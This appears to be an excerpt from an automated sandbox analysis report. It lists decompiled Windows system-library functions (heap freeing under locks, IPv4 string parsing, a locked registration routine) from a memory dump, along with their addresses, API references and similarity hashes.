Function 6A92EC7F, Relevance: 12.3, APIs: 8, Instructions: 256
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A92EC7F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t65;
				intOrPtr* _t67;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				intOrPtr _t76;
				signed int _t77;
				void* _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t83;
				void* _t85;
				intOrPtr _t90;
				void* _t91;
				void* _t96;
				void _t99;
				intOrPtr* _t104;
				intOrPtr* _t106;
				unsigned int _t112;
				unsigned int _t114;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr _t120;
				unsigned int _t122;
				unsigned int _t124;
				intOrPtr* _t125;
				intOrPtr* _t129;
				intOrPtr* _t134;
				intOrPtr* _t136;
				void* _t138;
				signed int* _t140;
				void* _t141;
				void* _t143;
				void* _t146;
				intOrPtr _t148;
				void* _t149;
				void* _t151;
				void* _t153;

				_push(_t96);
				_t146 = __ecx;
				_push(_t138);
				_t65 =  *(__ecx + 0x50);
				if( *((intOrPtr*)(_t65 + 0xc)) == 0xffffffff) {
					L3:
					return _t65;
				} else {
					_t65 =  *_t65;
					if(( *(_t65 - 0x20) & 0x00000020) != 0) {
						goto L3;
					} else {
						_t65 = _t65 | 0xffffffff;
						asm("lock xadd [esi+0x9c], eax");
						if(_t65 == 0) {
							E6A932280(_t65, 0x6aa084d8);
							_t67 = _t146 + 0x54;
							_t120 =  *_t67;
							if( *((intOrPtr*)(_t120 + 4)) != _t67) {
								L15:
								_push(3);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0x30);
								_push(0x6a9efb78);
								E6A96D08C(_t96, _t138, _t146);
								_t148 =  *((intOrPtr*)(_t153 + 8));
								if(_t148 == 0) {
									L59:
									_t69 = 0xc000000d;
								} else {
									_t140 =  *(_t153 + 0x14);
									if(_t140 == 0) {
										goto L59;
									} else {
										 *((intOrPtr*)(_t153 - 4)) = 0;
										if( *((intOrPtr*)(_t153 + 0xc)) >= 0x10000) {
											_t122 =  *(_t148 + 0x58) >> 1;
											 *(_t153 - 0x20) = _t122;
											_t104 =  *((intOrPtr*)(_t148 + 0x54)) + _t148;
											 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
											if(_t104 <= 0x10000) {
												L37:
												if( *_t104 == 0) {
													goto L54;
												} else {
													_t72 = 1;
													if(_t122 <= 0) {
														goto L54;
													}
												}
											} else {
												while(_t122 > 0) {
													if( *_t104 == 0) {
														L54:
														_t72 = 0;
													} else {
														_t78 = E6A95E490( *((intOrPtr*)(_t153 + 0xc)), _t104);
														_t104 =  *((intOrPtr*)(_t153 - 0x1c));
														if(_t78 != 0) {
															_t129 = _t104;
															_t54 = _t129 + 2; // 0x22
															 *((intOrPtr*)(_t153 - 0x2c)) = _t54;
															do {
																_t80 =  *_t129;
																_t129 = _t129 + 2;
															} while (_t80 != 0);
															_t81 = (_t129 -  *((intOrPtr*)(_t153 - 0x2c)) >> 1) + 1;
															_t104 = _t104 + _t81 * 2;
															 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
															_t122 =  *(_t153 - 0x20) - _t81;
															 *(_t153 - 0x20) = _t122;
															continue;
														} else {
															_t122 =  *(_t153 - 0x20);
															goto L37;
														}
													}
													goto L39;
												}
												goto L37;
											}
											L39:
											if(_t72 == 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t124 =  *(_t148 + 0x68) >> 1;
											 *(_t153 - 0x28) = _t124;
											_t106 =  *((intOrPtr*)(_t148 + 0x64)) + _t148;
											 *((intOrPtr*)(_t153 - 0x24)) = _t106;
											if(_t106 <= 0x10000) {
												L56:
												if( *_t106 == 0 || _t124 <= 0) {
													goto L29;
												} else {
													_t73 = 1;
												}
											} else {
												while(_t124 > 0) {
													if( *_t106 == 0) {
														L29:
														_t73 = 0;
													} else {
														_t75 = E6A95E490( *((intOrPtr*)(_t153 + 0xc)), _t106);
														_t106 =  *((intOrPtr*)(_t153 - 0x24));
														if(_t75 == 0) {
															_t124 =  *(_t153 - 0x28);
															goto L56;
														} else {
															_t125 = _t106;
															_t47 = _t125 + 2; // 0xc00000e7
															_t149 = _t47;
															do {
																_t76 =  *_t125;
																_t125 = _t125 + 2;
															} while (_t76 != 0);
															_t48 = (_t125 - _t149 >> 1) + 1; // 0xc00000e4
															_t77 = _t48;
															_t106 = _t106 + _t77 * 2;
															 *((intOrPtr*)(_t153 - 0x24)) = _t106;
															_t124 =  *(_t153 - 0x28) - _t77;
															 *(_t153 - 0x28) = _t124;
															continue;
														}
													}
													goto L30;
												}
												goto L56;
											}
											L30:
											if(_t73 != 0) {
												goto L27;
											} else {
												goto L31;
											}
											goto L62;
										} else {
											_t112 =  *(_t148 + 0x60) >> 2;
											 *(_t153 - 0x30) = _t112;
											_t134 =  *((intOrPtr*)(_t148 + 0x5c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x34)) = _t134;
											while(1) {
												_t112 = _t112 - 1;
												 *(_t153 - 0x30) = _t112;
												if(_t112 < 0) {
													break;
												}
												_t85 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t134;
												_t134 = _t134 + 4;
												 *((intOrPtr*)(_t153 - 0x34)) = _t134;
												if(_t85 != 0) {
													continue;
												}
												break;
											}
											if(_t112 < 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t114 =  *(_t148 + 0x70) >> 2;
											 *(_t153 - 0x38) = _t114;
											_t136 =  *((intOrPtr*)(_t148 + 0x6c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
											while(1) {
												_t114 = _t114 - 1;
												 *(_t153 - 0x38) = _t114;
												if(_t114 < 0) {
													break;
												}
												_t83 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t136;
												_t136 = _t136 + 4;
												 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
												if(_t83 != 0) {
													continue;
												}
												break;
											}
											if(_t114 < 0) {
												L31:
												 *_t140 =  *_t140 | 0x00020000;
											}
										}
										L27:
										 *((intOrPtr*)(_t153 - 4)) = 0xfffffffe;
										_t69 = 0;
									}
								}
								return E6A96D0D1(_t69);
							} else {
								_t115 =  *((intOrPtr*)(_t67 + 4));
								if( *_t115 != _t67) {
									goto L15;
								} else {
									 *_t115 = _t120;
									 *((intOrPtr*)(_t120 + 4)) = _t115;
									_t141 =  *(_t146 + 0x50);
									_t99 =  *_t141;
									E6A92FFB0(_t99, _t141, 0x6aa084d8);
									if( *((intOrPtr*)(_t146 + 0x3a)) != 0) {
										E6A9537F5(_t146, 0);
									}
									E6A950413(_t146);
									_t90 =  *((intOrPtr*)(_t146 + 0x48));
									if(_t90 != 0) {
										if(_t90 != 0xffffffff) {
											E6A949B10(_t90);
										}
									}
									if( *((intOrPtr*)(_t146 + 0x28)) != 0) {
										E6A9402D6(_t146 + 0x24);
									}
									_t65 = RtlFreeHeap( *0x6aa07b98, 0, _t146);
									if(_t99 != _t141) {
										goto L3;
									} else {
										_t118 = _t141;
										_pop(_t142);
										_pop(_t150);
										_t143 = _t118;
										_t91 =  *(_t143 + 8);
										if(_t91 != 0) {
											do {
												_t151 =  *_t91;
												RtlFreeHeap( *0x6aa07b98, 0, _t91);
												_t91 = _t151;
											} while (_t151 != 0);
										}
										return RtlFreeHeap( *0x6aa07b98, 0, _t143);
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L62:
			}

0x6a92ec81
0x6a92ec83
0x6a92ec85
0x6a92ec86
0x6a92ec8d
0x6a92eca4
0x6a92eca7
0x6a92ec8f
0x6a92ec8f
0x6a92ec95
0x00000000
0x6a92ec97
0x6a92ec97
0x6a92ec9a
0x6a92eca2
0x6a92ecad
0x6a92ecb2
0x6a92ecb5
0x6a92ecba
0x6a92ed2f
0x6a92ed2f
0x6a92ed32
0x6a92ed34
0x6a92ed35
0x6a92ed36
0x6a92ed37
0x6a92ed38
0x6a92ed39
0x6a92ed3a
0x6a92ed3b
0x6a92ed3c
0x6a92ed3d
0x6a92ed3e
0x6a92ed3f
0x6a92ed40
0x6a92ed42
0x6a92ed47
0x6a92ed4e
0x6a92ed53
0x6a97baf2
0x6a97baf2
0x6a92ed59
0x6a92ed59
0x6a92ed5e
0x00000000
0x6a92ed64
0x6a92ed64
0x6a92ed6f
0x6a92edf1
0x6a92edf3
0x6a92edf9
0x6a92edfb
0x6a92ee00
0x6a92ee28
0x6a92ee2b
0x00000000
0x6a92ee31
0x6a92ee33
0x6a92ee35
0x00000000
0x00000000
0x6a92ee35
0x6a92ee02
0x6a92ee02
0x6a92ee09
0x6a97baae
0x6a97baae
0x6a92ee0f
0x6a92ee13
0x6a92ee1a
0x6a92ee1f
0x6a92eea9
0x6a92eeab
0x6a92eeae
0x6a92eeb1
0x6a92eeb1
0x6a92eeb4
0x6a92eeb7
0x6a92eec1
0x6a92eec4
0x6a92eec7
0x6a92eecd
0x6a92eecf
0x00000000
0x6a92ee25
0x6a92ee25
0x00000000
0x6a92ee25
0x6a92ee1f
0x00000000
0x6a92ee09
0x00000000
0x6a92ee02
0x6a92ee3b
0x6a92ee3d
0x6a97bab5
0x6a97bab5
0x6a92ee46
0x6a92ee48
0x6a92ee4e
0x6a92ee50
0x6a92ee59
0x6a97bac0
0x6a97bac3
0x00000000
0x6a97bad1
0x6a97bad3
0x6a97bad3
0x6a92ee5f
0x6a92ee5f
0x6a92ee6a
0x6a92ede0
0x6a92ede0
0x6a92ee70
0x6a92ee74
0x6a92ee7b
0x6a92ee80
0x6a92eed7
0x00000000
0x6a92ee82
0x6a92ee82
0x6a92ee84
0x6a92ee84
0x6a92ee87
0x6a92ee87
0x6a92ee8a
0x6a92ee8d
0x6a92ee96
0x6a92ee96
0x6a92ee99
0x6a92ee9c
0x6a92eea2
0x6a92eea4
0x00000000
0x6a92eea4
0x6a92ee80
0x00000000
0x6a92ee6a
0x00000000
0x6a92ee5f
0x6a92ede2
0x6a92ede4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92ed71
0x6a92ed74
0x6a92ed77
0x6a92ed7d
0x6a92ed7f
0x6a92ed82
0x6a92ed82
0x6a92ed85
0x6a92ed88
0x00000000
0x00000000
0x6a92ed8d
0x6a92ed8f
0x6a92ed92
0x6a92ed97
0x00000000
0x00000000
0x00000000
0x6a92ed97
0x6a92ed9b
0x6a92ed9d
0x6a92ed9d
0x6a92eda6
0x6a92eda9
0x6a92edaf
0x6a92edb1
0x6a92edb4
0x6a92edb4
0x6a92edb7
0x6a92edba
0x00000000
0x00000000
0x6a92edbf
0x6a92edc1
0x6a92edc4
0x6a92edc9
0x00000000
0x00000000
0x00000000
0x6a92edc9
0x6a92edcd
0x6a92ede6
0x6a92ede6
0x6a92ede6
0x6a92edcd
0x6a92edcf
0x6a92edcf
0x6a92edd6
0x6a92edd6
0x6a92ed5e
0x6a92eddd
0x6a92ecbc
0x6a92ecbc
0x6a92ecc1
0x00000000
0x6a92ecc3
0x6a92ecc3
0x6a92ecc5
0x6a92ecc8
0x6a92ecd0
0x6a92ecd2
0x6a92ecdd
0x6a92ed1b
0x6a92ed1b
0x6a92ece1
0x6a92ece6
0x6a92eceb
0x6a92ed25
0x6a92ed28
0x6a92ed28
0x6a92ed25
0x6a92ecf1
0x6a92ecf6
0x6a92ecf6
0x6a92ed04
0x6a92ed0b
0x00000000
0x6a92ed0d
0x6a92ed0d
0x6a92ed0f
0x6a92ed10
0x6a94c27a
0x6a94c27c
0x6a94c281
0x6a98a692
0x6a98a692
0x6a98a69d
0x6a98a6a2
0x6a98a6a4
0x6a98a6a8
0x6a94c292
0x6a94c292
0x6a92ed0b
0x6a92ecc1
0x00000000
0x00000000
0x00000000
0x6a92eca2
0x6a92ec95
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ECAD
RtlReleaseSRWLockExclusive.1105(6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ECD2
RtlFreeHeap.1105(00000000,?,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ED04
RtlReleaseActivationContext.1105(-00000F38,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ED28
_wcsicmp.1105(6A9EFE98,?,6A9EFB78,00000030,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92EE13
_wcsicmp.1105(6A9EFE98,?,6A9EFB78,00000030,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92EE74
RtlFreeHeap.1105(00000000,?,6A9617F0,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A94C28C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: b4b5168a4fb62a783b83024ac9a7ac17f012b7faca8cacefcc5d798734d84dc7
Instruction ID: e10d66474f4181a501d3d778ee4c19d3acd6d1a9aa0aa613722848ae3bcaf0f0
Opcode Fuzzy Hash: b4b5168a4fb62a783b83024ac9a7ac17f012b7faca8cacefcc5d798734d84dc7
Instruction Fuzzy Hash: DD81C230A102059FEB28CF7DD49069ABBF6FF86718B35852DE4159B259EF30E842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A917220, Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6A917220(char* _a4, intOrPtr _a8, intOrPtr* _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				char _v25;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				void* _t60;
				signed int _t64;
				signed int _t65;
				signed short _t67;
				void* _t76;
				void* _t80;
				signed int _t81;
				intOrPtr* _t87;
				void* _t88;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed char _t96;
				signed char _t99;
				intOrPtr _t105;
				void* _t110;
				void* _t111;
				intOrPtr _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				char* _t122;
				intOrPtr* _t123;
				signed int _t124;

				_v8 =  *0x6aa0d360 ^ _t124;
				_t87 = _a12;
				_t122 = _a4;
				_v44 = _a16;
				_t119 =  &_v24;
				do {
					_v36 = _v36 & 0x00000000;
					_v25 = 0;
					_t54 = 0xa;
					_v40 = _t54;
					if( *_t122 == 0x30) {
						_t123 = _t122 + 1;
						_t56 = E6A95CB30( *_t123,  *_t123);
						_pop(_t88);
						if(_t56 == 0 || E6A95CC80(_t88,  *_t123) == 0) {
							_t57 =  *_t123;
							if(_t57 == 0x78 || _t57 == 0x58) {
								_push(0x10);
								_t123 = _t123 + 1;
								goto L22;
							} else {
								_t54 = _v40;
								_v25 = 1;
								goto L2;
							}
						} else {
							_push(8);
							L22:
							_pop(_t54);
							_v40 = _t54;
							goto L2;
						}
					}
					L2:
					if(_a8 == 0 || _t54 == 0xa) {
						_t58 =  *_t123;
						if(_t58 == 0) {
							_t90 = _v25;
							_t117 = _v36;
							L10:
							if( *_t123 == 0x2e) {
								if(_t119 >=  &_v12) {
									goto L12;
								}
								goto L36;
							}
							if(_t90 != 0) {
								 *_t119 = _t117;
								_t119 = _t119 -  &_v24 + 4 >> 2;
								if(_t90 == 0 || _t119 == 4) {
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t93 = _v24;
										L58:
										asm("bswap ecx");
										 *_t87 = _t123;
										 *_v44 = _t93;
										_t60 = 0;
										goto L13;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t94 = _v24;
										if(_t94 > 0xff) {
											goto L12;
										}
										_t64 = _v20;
										_t117 = 0xffffff;
										if(_t64 > 0xffffff) {
											goto L12;
										}
										_t95 = _t94 << 0x18;
										_t65 = _t64 & 0x00ffffff;
										L56:
										_t93 = _t95 | _t65;
										goto L58;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t117 = _v24;
										if(_t117 > 0xff) {
											goto L12;
										}
										_t96 = _v20;
										if(_t96 > 0xff) {
											goto L12;
										}
										_t67 = _v16;
										if(_t67 > 0xffff) {
											goto L12;
										}
										_t117 = _t117 << 8;
										_t65 = _t67 & 0x0000ffff;
										_t95 = (_t96 & 0x000000ff | _t117) << 0x10;
										goto L56;
									}
									if(_t119 != 0) {
										goto L12;
									}
									_t117 = _v24;
									if(_t117 > 0xff) {
										goto L12;
									}
									_t99 = _v20;
									if(_t99 > 0xff || _v16 > 0xff || _v12 > 0xff) {
										goto L12;
									} else {
										_t95 = ((_t99 & 0x000000ff | _t117) << 0x00000008 | _v16 & 0x000000ff) << 8;
										_t65 = _v12 & 0x000000ff;
										goto L56;
									}
								} else {
									goto L12;
								}
							}
							goto L12;
						} else {
							goto L5;
						}
						do {
							L5:
							_t72 = _t58;
							_v32 = _t58;
							_t73 = E6A95CB30(_t58, _t72);
							_t105 = _v32;
							if(_t73 == 0) {
								L7:
								if(_v40 == 0x10) {
									if(E6A95CB30(_t73, _t105) == 0 || E6A95CDD0(_v32, _v32) == 0) {
										goto L8;
									} else {
										_t76 = E6A95CB30(_t75, _v32);
										_pop(_t110);
										if(_t76 == 0 || E6A95CCE0(_t110, _v32) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_t117 = _v36;
										_pop(_t111);
										_t112 = _v32;
										_t80 = (_t117 << 4) - _t111 + 0xa;
										L32:
										_t81 = _t80 + _t112;
										if(_t81 < _t117) {
											goto L12;
										}
										goto L33;
									}
								}
								L8:
								_t117 = _v36;
								L9:
								_t90 = _a8;
								goto L10;
							}
							_t73 = E6A95CC80(_t105, _t105);
							_t105 = _v32;
							if(_t73 != 0) {
								_t118 = _v40;
								_t26 = _t105 - 0x30; // -48
								_t73 = _t26;
								if(_t26 >= _t118) {
									goto L7;
								}
								_t117 = _v36;
								_t80 = _t118 * _t117 + 0xffffffd0;
								goto L32;
							}
							goto L7;
							L33:
							_t123 = _t123 + 1;
							_t117 = _t81;
							_v36 = _t117;
							_v25 = 1;
							_t58 =  *_t123;
						} while (_t58 != 0);
						goto L9;
					} else {
						L12:
						 *_t87 = _t123;
						_t60 = 0xc000000d;
						L13:
						return E6A95B640(_t60, _t87, _v8 ^ _t124, _t117, _t119, _t123);
					}
					L36:
					 *_t119 = _t117;
					_t119 = _t119 + 4;
					_t122 = _t123 + 1;
				} while (_t90 != 0);
				goto L12;
			}

0x6a91722f
0x6a917236
0x6a91723a
0x6a91723e
0x6a917241
0x6a917244
0x6a917244
0x6a91724f
0x6a917252
0x6a917253
0x6a917256
0x6a972462
0x6a972467
0x6a97246c
0x6a97246f
0x6a972483
0x6a972487
0x6a972499
0x6a97249b
0x00000000
0x6a97248d
0x6a97248d
0x6a972490
0x00000000
0x6a972490
0x6a97247f
0x6a97247f
0x6a97249c
0x6a97249c
0x6a97249d
0x00000000
0x6a97249d
0x6a97246f
0x6a91725c
0x6a917261
0x6a917268
0x6a91726c
0x6a9172d2
0x6a9172d5
0x6a9172a7
0x6a9172aa
0x6a97253b
0x00000000
0x00000000
0x00000000
0x6a97253b
0x6a9172b2
0x6a972554
0x6a97255e
0x6a972563
0x6a97256e
0x6a972571
0x6a97263a
0x6a97263d
0x6a972640
0x6a972642
0x6a972644
0x6a972646
0x00000000
0x6a972646
0x6a972577
0x6a97257a
0x6a972612
0x6a97261b
0x00000000
0x00000000
0x6a972621
0x6a972624
0x6a97262b
0x00000000
0x00000000
0x6a972631
0x6a972634
0x6a972636
0x6a972636
0x00000000
0x6a972636
0x6a972580
0x6a972583
0x6a9725d9
0x6a9725e3
0x00000000
0x00000000
0x6a9725e9
0x6a9725ee
0x00000000
0x00000000
0x6a9725f4
0x6a9725fc
0x00000000
0x00000000
0x6a972605
0x6a97260a
0x6a97260d
0x00000000
0x6a97260d
0x6a972588
0x00000000
0x00000000
0x6a97258e
0x6a972598
0x00000000
0x00000000
0x6a97259e
0x6a9725a3
0x00000000
0x6a9725bb
0x6a9725d1
0x6a9725d4
0x00000000
0x6a9725d4
0x00000000
0x00000000
0x00000000
0x6a972563
0x00000000
0x00000000
0x00000000
0x00000000
0x6a91726e
0x6a91726e
0x6a91726e
0x6a917272
0x6a917275
0x6a91727b
0x6a917280
0x6a917294
0x6a917298
0x6a9724c9
0x00000000
0x6a9724e1
0x6a9724e4
0x6a9724e9
0x6a9724ec
0x6a9724ff
0x6a9724fb
0x6a9724fb
0x6a9724fb
0x6a972501
0x6a972506
0x6a97250c
0x6a97250f
0x6a972512
0x6a972512
0x6a972516
0x00000000
0x00000000
0x00000000
0x6a972516
0x6a9724c9
0x6a91729e
0x6a91729e
0x6a9172a4
0x6a9172a4
0x00000000
0x6a9172a4
0x6a917283
0x6a917289
0x6a91728e
0x6a9724a5
0x6a9724a8
0x6a9724a8
0x6a9724ad
0x00000000
0x00000000
0x6a9724b5
0x6a9724bb
0x00000000
0x6a9724bb
0x00000000
0x6a97251c
0x6a97251c
0x6a97251d
0x6a972521
0x6a972524
0x6a972527
0x6a972529
0x00000000
0x6a9172b8
0x6a9172b8
0x6a9172b8
0x6a9172ba
0x6a9172bf
0x6a9172cf
0x6a9172cf
0x6a972541
0x6a972541
0x6a972543
0x6a972546
0x6a972547
0x00000000

APIs

__isascii.1105(0000000A,?), ref: 6A917275
isdigit.1105(00000000,?), ref: 6A917283
__isascii.1105(0000000A,?), ref: 6A972467
isdigit.1105(00000000,?), ref: 6A972475

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit
String ID:
API String ID: 2481201981-0
Opcode ID: bf28d75003a193bdb202b3d5f59da1b360cb014a23aa7f0261abaf1ace24317f
Instruction ID: fa421b6bed630c73de4072851a54275d4ed79d5199e3b4de4ff7c9f3e2b76534
Opcode Fuzzy Hash: bf28d75003a193bdb202b3d5f59da1b360cb014a23aa7f0261abaf1ace24317f
Instruction Fuzzy Hash: CF712831A0821F9FDF24CAA8C8906BE77F5AF46300F75496AE451E7681DE78C842CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6A92F820, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6A92F820(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				signed int _t55;
				signed int _t56;
				signed int* _t62;
				signed int _t64;
				signed int* _t72;
				signed int _t76;
				void* _t78;
				signed int _t80;
				void* _t82;
				void* _t83;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_t74 = _a4;
				if(_a4 == 0) {
					L22:
					_t78 = 0x57;
					goto L16;
				} else {
					_t62 = _a20;
					if(_t62 == 0) {
						goto L22;
					} else {
						_t37 = E6A95F380(_t74, 0x6a8f5138, 0x10);
						_t83 = _t82 + 0xc;
						if(_t37 == 0) {
							if( *0x6aa060d8 == 0) {
								goto L3;
							} else {
								_push(0x57);
								goto L25;
							}
						} else {
							L3:
							_t71 = _a12;
							 *_t62 =  *_t62 & 0x00000000;
							_t78 = 0;
							_t62[1] = _t62[1] & 0x00000000;
							_t76 = E6A94BC2C(_t74, _a12, _a16, _a8);
							if(_t76 == 0) {
								_push("true");
								L25:
								_pop(_t78);
								goto L23;
							} else {
								_t8 = _t76 + 0x24; // 0x24
								_t63 = _t8;
								E6A932280(_t38, _t8);
								 *(_t76 + 0x2c) =  *( *[fs:0x18] + 0x24);
								if(_a8 == 0xa) {
									L6:
									_t14 = _t76 + 0xc; // 0xc
									 *((intOrPtr*)(_t83 + 0x18)) = _t14;
									 *((short*)(_t83 + 0x20)) =  *(_t76 + 0x34);
									E6A932280( *(_t76 + 0x34), 0x6aa086ac);
									_t64 =  *0x6aa086dc;
									_v20 =  *0x6aa086e0 & 1;
									_v24 = 0;
									if(_t64 != 0) {
										L7:
										while(1) {
											if(E6A92F99D(_t83 + 0x1c, _t64) >= 0) {
												_t55 =  *(_t64 + 4);
												if(_v16 != 0) {
													if(_t55 == 0) {
														goto L13;
													} else {
														_t55 = _t55 ^ _t64;
														goto L12;
													}
													goto L17;
												} else {
													L12:
													if(_t55 != 0) {
														goto L10;
													} else {
														L13:
														_v20 = 1;
													}
												}
											} else {
												_t56 =  *_t64;
												if(_v16 != 0) {
													if(_t56 == 0) {
														goto L14;
													} else {
														_t55 = _t56 ^ _t64;
														goto L9;
													}
													goto L17;
												} else {
													L9:
													if(_t55 == 0) {
														L14:
														_v20 = 0;
													} else {
														L10:
														_t64 = _t55;
														continue;
													}
												}
											}
											goto L15;
										}
									}
									L15:
									E6A92B090(0x6aa086dc, _t64, _v20, _t76);
									E6A92FFB0(_t64, _t76, 0x6aa086ac);
									E6A94F296(_t76, _t71);
									 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
									_t29 = _t76 + 0x24; // 0x24
									E6A92FFB0(_t64, _t76, _t29);
									asm("cdq");
									_t72 = _a20;
									 *_t72 = _t76;
									_t72[1] =  *(_t76 + 0x34) & 0x0000ffff;
								} else {
									_t71 = _a12;
									_t78 = E6A944D3B(_t76, _a12, _a8);
									if(_t78 != 0) {
										 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
										E6A92FFB0(_t63, _t76, _t63);
										E6A91F871(_t63);
									} else {
										goto L6;
									}
								}
								L16:
								if(_t78 != 0) {
									L23:
									E6A91CC50(_t78);
								}
							}
						}
					}
				}
				L17:
				return _t78;
			}

0x6a92f828
0x6a92f82e
0x6a92f833
0x6a92f990
0x6a92f992
0x00000000
0x6a92f839
0x6a92f839
0x6a92f83e
0x00000000
0x6a92f844
0x6a92f84c
0x6a92f851
0x6a92f856
0x6a92f97b
0x00000000
0x6a92f981
0x6a92f981
0x00000000
0x6a92f981
0x6a92f85c
0x6a92f85c
0x6a92f85f
0x6a92f867
0x6a92f86a
0x6a92f86c
0x6a92f875
0x6a92f879
0x6a97bd6b
0x6a97bd6d
0x6a97bd6d
0x00000000
0x6a92f87f
0x6a92f87f
0x6a92f87f
0x6a92f883
0x6a92f895
0x6a92f898
0x6a92f8b1
0x6a92f8b1
0x6a92f8b4
0x6a92f8c1
0x6a92f8c6
0x6a92f8d2
0x6a92f8db
0x6a92f8df
0x6a92f8e6
0x00000000
0x6a92f8e8
0x6a92f8f5
0x6a92f911
0x6a92f914
0x6a92f98a
0x00000000
0x6a92f98c
0x6a92f98c
0x00000000
0x6a92f98c
0x00000000
0x6a92f916
0x6a92f916
0x6a92f918
0x00000000
0x6a92f91a
0x6a92f91a
0x6a92f91a
0x6a92f91a
0x6a92f918
0x6a92f8f7
0x6a92f8fc
0x6a92f8fe
0x6a97bd8b
0x00000000
0x6a97bd91
0x6a97bd91
0x00000000
0x6a97bd91
0x00000000
0x6a92f904
0x6a92f904
0x6a92f906
0x6a92f921
0x6a92f921
0x6a92f908
0x6a92f908
0x6a92f908
0x00000000
0x6a92f908
0x6a92f906
0x6a92f8fe
0x00000000
0x6a92f8f5
0x6a92f8e8
0x6a92f926
0x6a92f931
0x6a92f93b
0x6a92f942
0x6a92f947
0x6a92f94b
0x6a92f94f
0x6a92f95a
0x6a92f95d
0x6a92f960
0x6a92f962
0x6a92f89a
0x6a92f89d
0x6a92f8a7
0x6a92f8ab
0x6a97bd73
0x6a97bd78
0x6a97bd7f
0x00000000
0x00000000
0x00000000
0x6a92f8ab
0x6a92f965
0x6a92f967
0x6a92f995
0x6a92f996
0x6a92f996
0x6a92f967
0x6a92f879
0x6a92f856
0x6a92f83e
0x6a92f969
0x6a92f971

APIs

memcmp.1105(00000030,6A8F5138,00000010,00000000,00000001,-00000001), ref: 6A92F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A92F883
RtlAcquireSRWLockExclusive.1105(6AA086AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A92F8C6

Part of subcall function 6A944D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6A944D77
Part of subcall function 6A944D3B: RtlRunOnceExecuteOnce.1105(6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A944D9E
